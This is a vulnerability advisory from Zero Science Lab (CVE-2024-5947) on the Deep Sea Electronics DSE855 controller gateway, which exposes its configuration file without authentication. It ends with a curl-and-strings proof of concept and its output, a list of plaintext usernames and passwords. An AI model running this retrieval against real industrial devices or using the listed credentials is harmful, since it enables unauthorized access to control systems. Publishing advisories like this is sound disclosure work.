Authored by LiquidWorm | Site zeroscience.mk

Deep Sea Electronics DSE855 is vulnerable to configuration disclosure when direct object reference is made to the Backup.bin file using an HTTP GET request. This will enable an attacker to disclose sensitive information and help her in authentication bypass, privilege escalation, and full system access.

advisories | CVE-2024-5947


Deep Sea Electronics DSE855 Remote Authentication Bypass

Vendor: Deep Sea Electronics plc
Product web page: https://www.deepseaelectronics.com
Affected version: Model: DSE855
Software version: 1.0.26
Module version: 1.0.78
Bootloader version: 1.0.3
Firmware version: 1.1.0

Summary: The DSE855 communications device allows monitoring of a single
DSE controller with USB connectivity over a LAN or WAN connection. To achieve
this the DSE855 utilises its in-built web server or MODBUS TCP. In order
to use over a LAN connection the on-site router must be configured to be
accessible from any global location.

Desc: The device is vulnerable to configuration disclosure when direct object
reference is made to the Backup.bin file using an HTTP GET request. This will
enable an attacker to disclose sensitive information and help her in authentication
bypass, privilege escalation and full system access.

Tested on: embOS/IP

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2024-5825
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5825.php
ZDI ID: ZDI-24-671
ZDI CAN: ZDI-CAN-22679
ZDI URL: https://www.zerodayinitiative.com/advisories/ZDI-24-671/
ZDI Title: (0Day) Deep Sea Electronics DSE855 Configuration Backup Missing Authentication Information Disclosure Vulnerability
CVE ID: CVE-2024-5947
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-5947

10.11.2023

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$ curl -s -O http://target/Backup.bin
$ strings Backup.bin

DSEB
Admin
Password1234
Tech
Password1234
thricer
scada
rd1234
lokna
xela123
DSE855

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